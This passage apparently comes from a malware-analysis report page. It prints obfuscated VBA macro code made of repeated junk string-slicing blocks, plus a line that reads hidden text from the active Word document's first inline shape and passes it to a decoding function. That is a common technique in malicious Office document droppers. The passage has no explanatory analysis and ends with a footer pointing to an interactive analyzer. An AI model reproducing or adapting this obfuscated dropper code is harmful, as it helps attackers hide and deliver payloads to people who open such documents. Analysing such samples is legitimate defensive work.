 + "LuqAICDW2664JFV47G92MBMIT12DKLY8BA8TGEK468B0DW016URH0C3YJ9TO22EAXEXL1VUHSW7KH9UY9Y6PI8A52ICM" _
 + "jRhqQBhsD9EJKYG9PTSFP6LYVR4RVHEEULFAJCAT6IWLVR1JR6190N1CDU70UBVNL95PV083O2EM259698A7V87J6KLgQYI43KDU1F dOF9KMS615NdO6GR4J2IL43N7AS2C8W3jSV6wL8KXUSURL"
YrnScuQN = Mid(BnbGuGVJS, 263, 1)
NCaUFDcPwj = Mid(BnbGuGVJS, 174, 2)
ULKiimLwvrT = Mid(BnbGuGVJS, 27, 1)
FLzQCnriXm = Mid(BnbGuGVJS, 81, 2)
EXbzRwE = Mid(BnbGuGVJS, 311, 1)
XbIuPdBS = Mid(BnbGuGVJS, 274, 2)
jkjzsiz = Mid(BnbGuGVJS, 26, 1)
JPwYuNZPjzi = Mid(BnbGuGVJS, 307, 1)
OOijpW = Mid(BnbGuGVJS, 1, 1)
pQfRfj = Mid(BnbGuGVJS, 286, 1)
jUSALRJa = Mid(BnbGuGVJS, 178, 2)
jpOSVN = Mid(BnbGuGVJS, 172, 1)
WRQIpdJ = YrnScuQN + NCaUFDcPwj + ULKiimLwvrT + FLzQCnriXm
Rp6apacafzo_ = Hkuh37ff65vihiqh1z.InlineShapes.Application.ActiveDocument.InlineShapes().Item(1).AlternativeText
   BnbGuGVJS = " 1M7L7DHMRVWZQ1TLKJSDT8BNh H6N2HL1Y0OQ97SPFKB4YW495KRJK86KX202VVRYMHGBWKOSPL2GN" _
 + "LuqAICDW2664JFV47G92MBMIT12DKLY8BA8TGEK468B0DW016URH0C3YJ9TO22EAXEXL1VUHSW7KH9UY9Y6PI8A52ICM" _
 + "jRhqQBhsD9EJKYG9PTSFP6LYVR4RVHEEULFAJCAT6IWLVR1JR6190N1CDU70UBVNL95PV083O2EM259698A7V87J6KLgQYI43KDU1F dOF9KMS615NdO6GR4J2IL43N7AS2C8W3jSV6wL8KXUSURL"
YrnScuQN = Mid(BnbGuGVJS, 263, 1)
NCaUFDcPwj = Mid(BnbGuGVJS, 174, 2)
ULKiimLwvrT = Mid(BnbGuGVJS, 27, 1)
FLzQCnriXm = Mid(BnbGuGVJS, 81, 2)
EXbzRwE = Mid(BnbGuGVJS, 311, 1)
XbIuPdBS = Mid(BnbGuGVJS, 274, 2)
jkjzsiz = Mid(BnbGuGVJS, 26, 1)
JPwYuNZPjzi = Mid(BnbGuGVJS, 307, 1)
OOijpW = Mid(BnbGuGVJS, 1, 1)
pQfRfj = Mid(BnbGuGVJS, 286, 1)
jUSALRJa = Mid(BnbGuGVJS, 178, 2)
jpOSVN = Mid(BnbGuGVJS, 172, 1)
WRQIpdJ = YrnScuQN + NCaUFDcPwj + ULKiimLwvrT + FLzQCnriXm
X0uqsty6g04n0l = Trim(Bm1urvrrjwck_j(Rp6apacafzo_))
   BnbGuGVJS = " 1M7L7DHMRVWZQ1TLKJSDT8BNh H6N2HL1Y0OQ97SPFKB4YW495KRJK86KX202VVRYMHGBWKOSPL2GN" _
 + "LuqAICDW2664JFV47G92MBMIT12DKLY8BA8TGEK468B0DW016URH0C3YJ9TO22EAXEXL1VUHSW7KH9UY9Y6PI8A52ICM" _
 + "jRhqQBhsD9EJKYG9PTSFP6LYVR4RVHEEULFAJCAT6IWLVR1JR6190N1CDU70UBVNL95PV083O2EM259698A7V87J6KLgQYI43KDU1F dOF9KMS615NdO6GR4J2IL43N7AS2C8W3jSV6wL8KXUSURL"
YrnScuQN = Mid(BnbGuGVJS, 263, 1)
NCaUFDcPwj = Mid(BnbGuGVJS, 174, 2)
ULKiimLwvrT = Mid(BnbGuGVJS, 27, 1)
FLzQCnriXm = Mid(BnbGuGVJS, 81, 2)
EXbzRwE = Mid(BnbGuGVJS, 311, 1)
XbIuPdBS = Mid(BnbGuGVJS, 274, 2)
jkjzsiz = Mid(BnbGuGVJS, 26, 1)
JPwYuNZPjzi = Mid(BnbGuGVJS, 307, 1)
OOijpW = Mid(BnbGuGVJS, 1, 1)
pQfRfj = Mid(BnbGuGVJS, 286, 1)
jUSALRJa = Mid(BnbGuGVJS, 178, 2)
jpOSVN = Mid(BnbGuGVJS, 172, 1)
WRQIpdJ = YrnScuQN + NCaUFDcPwj + ULKiimLwvrT + FLzQCnriXm
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.